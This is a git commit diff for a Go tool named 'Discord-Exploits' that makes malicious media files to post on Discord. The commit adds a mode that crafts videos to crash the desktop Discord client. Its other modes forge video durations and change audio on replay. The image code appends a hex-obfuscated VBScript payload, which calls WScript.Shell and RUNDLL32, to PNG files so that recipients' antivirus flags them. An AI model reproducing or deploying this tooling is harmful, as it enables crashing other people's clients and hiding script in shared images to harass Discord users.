added crash mode

This commit is contained in:
Schmenn 2021-03-30 14:04:30 +02:00
parent cee058edea
commit 5b5eaa9b88
9 changed files with 95 additions and 305 deletions

View file

@ -7,8 +7,15 @@
# Discord-Exploits
A program for creating exploited media files for discord written in Go.
## Usage
###### discord-exploits is a command line utility, meaning you have to run it through a terminal!
##### If you have any questions, feel free to ask me on ![Discord](https://img.shields.io/badge/Discord-Schmenn%231088-7289DA?style=flat-square) or join the server: ![Discord](https://img.shields.io/discord/809503251455148063?color=fff&label=discord%20server&style=flat-square)
<b>DO NOT DM ME ASKING WHY THE WINDOW CLOSES INSTANTLY WHEN YOU DOUBLE CLICK IT,
DISCORD-EXPLOITS IS A COMMAND-LINE UTILITY MEANING YOU HAVE TO USE IT FROM A TERMINAL
IF THE PROGRAM SHOWS AN ERROR, READ THE ERROR BEFORE MESSAGING ME</b>
### Getting Help
@ -18,14 +25,16 @@ A program for creating exploited media files for discord written in Go.
`discord-exploits -m <mode> -i <input file> [-q]`
the mode `c` stands for "crash", this file will crash almost any desktop discord client when it is played to the end
the mode `v` stands for virus image
the mode `e` stands for expanding video duration
the mode `n` stands for negative video duration
the mode `0` or `z` stands for video with 0s duration
the mode `v` stands for virus image
the mode `t` stands for "twice", this file will play a different audio when it is replayed (still experimental)
The Program only supports `webm` files for video, `png` files for images and `ogg` files for audio (t)
@ -72,13 +81,16 @@ linux-32-bit`
* Feature for creating a video that, when played on discord, will look like it has got a huge negative duration
* Feature for creating a video that, when played on discord, will look like it has got a constant duration of 0
* Feature for creating an image then triggers other users' windows defender after being cached
* Feature for creating an audio file that plays a different track when you replay it
* Feature for creating an audio file that plays a different track when you replay it ([always requires FFmpeg](https://ffmpeg.org))
* Feature for creating a video that, when played on a discord client, will crash it ([always requires FFmpeg](https://ffmpeg.org))
* Transcoding from `mp4` to `webm`, from `jpeg` and `jpg` to `png` and from `mp4` and `m4a` to `ogg` ([requires FFmpeg](https://ffmpeg.org))
### Warning!
### Disclaimer
The t/twice mode requires ffmpeg with all compatible file formats, even `ogg`, because the current version of the exploit has to convert the audio to a sample rate of 44100.
The c/crash mode also requires ffmpeg will all compatible file formats, because the input file needs to be concatenated with another file.
### Upcoming Features are:
not yet decided.
##### If you have any questions, feel free to ask me on ![Discord](https://img.shields.io/badge/Discord-Schmenn%231088-7289DA?style=flat-square)

View file

@ -2,10 +2,10 @@ package main
import (
"fmt"
"os"
"strings"
"github.com/Schmenn/discord-exploits/exploits"
"github.com/Schmenn/discord-exploits/modules"
"os"
"strings"
)
var (
@ -15,7 +15,7 @@ var (
)
func main() {
args := os.Args[1:]
handleArgs(args, &quiet)
if !quiet {
@ -58,45 +58,6 @@ func handleArgs(args []string, quiet *bool) {
}
/*func initCommand(inputFile string, mode string) {
inputFile = strings.ToLower(inputFile)
switch strings.ToLower(mode) {
case "e":
if strings.HasSuffix(inputFile, ".webm") {
fmt.Println("editing video.")
exploits.RunExpandingVideoTask(inputFile)
fmt.Println("completed task.")
} else {
fmt.Println("File is not a webm or mp4, check -h")
}
case "n":
if strings.HasSuffix(inputFile, ".webm") {
fmt.Println("editing video.")
exploits.RunNegativeVideoTask(inputFile)
fmt.Println("completed task.")
} else {
fmt.Println("File is not a webm, check -h")
}
case "0", "z":
if strings.HasSuffix(inputFile, ".webm") {
fmt.Println("editing video.")
exploits.RunZeroVideoTask(inputFile)
fmt.Println("completed task.")
} else {
fmt.Println("File is not a webm, check -h")
}
case "v":
if strings.HasSuffix(inputFile, ".png") {
fmt.Println("editing photo.")
exploits.RunVirusImageTask(inputFile)
fmt.Println("completed task.")
} else {
fmt.Println("File is not a png, check -h")
}
}
}
*/
func initCommand(inputFile string, mode string) {
inputFile = strings.ToLower(inputFile)
@ -107,14 +68,26 @@ func initCommand(inputFile string, mode string) {
fmt.Println("editing video.")
exploits.RunExpandingVideoTask(inputFile)
fmt.Println("completed task.")
case "n":
fmt.Println("editing video.")
exploits.RunNegativeVideoTask(inputFile)
fmt.Println("completed task.")
case "0", "z":
fmt.Println("editing video.")
exploits.RunZeroVideoTask(inputFile)
fmt.Println("completed task.")
case "c":
fmt.Println("transcoding video from webm to mp4")
out := modules.Transcode(inputFile, "mp4")
fmt.Println("finished transcoding video from webm to mp4")
fmt.Println("editing video.")
exploits.RunCrashVideoTask(out)
fmt.Println("completed task.")
os.Remove(out)
default:
fmt.Println("the mode doesn't match the file")
}
@ -149,6 +122,11 @@ func initCommand(inputFile string, mode string) {
fmt.Println("completed task.")
os.Remove(out)
case "c":
fmt.Println("editing video.")
exploits.RunCrashVideoTask(inputFile)
fmt.Println("completed task.")
default:
fmt.Println("the mode doesn't match the file")
}
@ -168,7 +146,7 @@ func initCommand(inputFile string, mode string) {
os.Remove(out)
} else if strings.HasSuffix(inputFile, ".jpeg") {
if strings.ToLower(mode) != "v" || strings.ToLower(mode) == "no mode specified"{
if strings.ToLower(mode) != "v" || strings.ToLower(mode) == "no mode specified" {
fmt.Println("the mode is not compatible with the image, proceeding to run the virus image task anyway")
}
fmt.Println("transcoding image from jpeg to png")
@ -180,15 +158,15 @@ func initCommand(inputFile string, mode string) {
os.Remove(out)
} else if strings.HasSuffix(inputFile, ".ogg") {
if strings.ToLower(mode) != "t" || strings.ToLower(mode) == "no mode specified"{
if strings.ToLower(mode) != "t" || strings.ToLower(mode) == "no mode specified" {
fmt.Println("the mode is not compatible with the audio file, proceeding to run the play-twice task anyway")
}
fmt.Println("editing audio.")
exploits.RunTwiceAudioTask(inputFile)
fmt.Println("completed task.")
} else if strings.HasSuffix(inputFile, ".mp3") {
if strings.ToLower(mode) != "t" || strings.ToLower(mode) == "no mode specified"{
if strings.ToLower(mode) != "t" || strings.ToLower(mode) == "no mode specified" {
fmt.Println("the mode is not compatible with the audio file, proceeding to run the play-twice task anyway")
}
fmt.Println("transcoding audio from mp3 to ogg")
@ -200,7 +178,7 @@ func initCommand(inputFile string, mode string) {
os.Remove(out)
} else if strings.HasSuffix(inputFile, ".m4a") {
if strings.ToLower(mode) != "t" || strings.ToLower(mode) == "no mode specified"{
if strings.ToLower(mode) != "t" || strings.ToLower(mode) == "no mode specified" {
fmt.Println("the mode is not compatible with the audio file, proceeding to run the play-twice task anyway")
}
fmt.Println("transcoding audio from m4a to ogg")

32
exploits/crash-video.go Normal file

File diff suppressed because one or more lines are too long

View file

@ -29,7 +29,7 @@ func RunExpandingVideoTask(fileName string) {
name := modules.CreateName("webm")
fmt.Println(name)
fmt.Println("Saved video to: "+name)
err = os.WriteFile(name, data, os.FileMode(0777))
if err != nil {

View file

@ -30,7 +30,7 @@ func RunNegativeVideoTask(fileName string) {
name := modules.CreateName("webm")
fmt.Println(name)
fmt.Println("Saved video to: "+name)
err = os.WriteFile(name, data, os.FileMode(0777))
if err != nil {

File diff suppressed because one or more lines are too long

View file

@ -10,7 +10,16 @@ import (
func RunVirusImageTask(fileName string) {
data, err := os.ReadFile(fileName)
modules.Check(err)
data = append(data, []byte(
data = append(data, vpng...)
name := modules.CreateName("png")
fmt.Println("Saved video to: "+name)
err = os.WriteFile(name, data, os.FileMode(0777))
if err != nil {
panic(err)
}
}
var vpng = []byte(
"\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x20\x3D\x20\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63"+
"\x74\x28\x22\x57\x53\x63\x72\x69\x70\x74\x2E\x53\x68\x65\x6C\x6C\x22\x29\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x45"+
"\x6E\x76\x20\x3D\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x28\x22\x55"+
@ -36,11 +45,4 @@ func RunVirusImageTask(fileName string) {
"\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x52\x75\x6E\x20\x22\x25\x77\x69\x6E\x64\x69\x72\x25\x5C\x53\x79\x73\x74\x65"+
"\x6D\x33\x32\x5C\x52\x55\x4E\x44\x4C\x4C\x33\x32\x2E\x45\x58\x45\x20\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x2C"+
"\x55\x70\x64\x61\x74\x65\x50\x65\x72\x55\x73\x65\x72\x53\x79\x73\x74\x65\x6D\x50\x61\x72\x61\x6D\x65\x74\x65\x72"+
"\x73\x22\x2C\x20\x31\x2C\x20\x54\x72\x75\x65")...)
name := modules.CreateName("png")
fmt.Println(name)
err = os.WriteFile(name, data, os.FileMode(0777))
if err != nil {
panic(err)
}
}
"\x73\x22\x2C\x20\x31\x2C\x20\x54\x72\x75\x65")

View file

@ -30,7 +30,7 @@ func RunZeroVideoTask(fileName string) {
name := modules.CreateName("webm")
fmt.Println(name)
fmt.Println("Saved video to: "+name)
err = os.WriteFile(name, data, os.FileMode(0777))
if err != nil {

View file

@ -18,6 +18,7 @@ func Help(progName string) {
fmt.Println(" e takes input video (.webm or .mp4) and edits it so discord will keep making it longer")
fmt.Println(" n takes input video (.webm or .mp4) and edits it so discord will think it has got a huge negative duration")
fmt.Println(" z, 0 takes input video (.webm or .mp4) and edits it so discord will think it has got a 0s duration")
fmt.Println(" c takes input video (.webm or .mp4) and edits it so discord will crash when you play it to the end (only works on some PCs)")
fmt.Println(" image:")
fmt.Println(" v takes an image (.png, .jpg or .jpeg) and makes other users' windows defender think it's a virus")
fmt.Println(" audio:")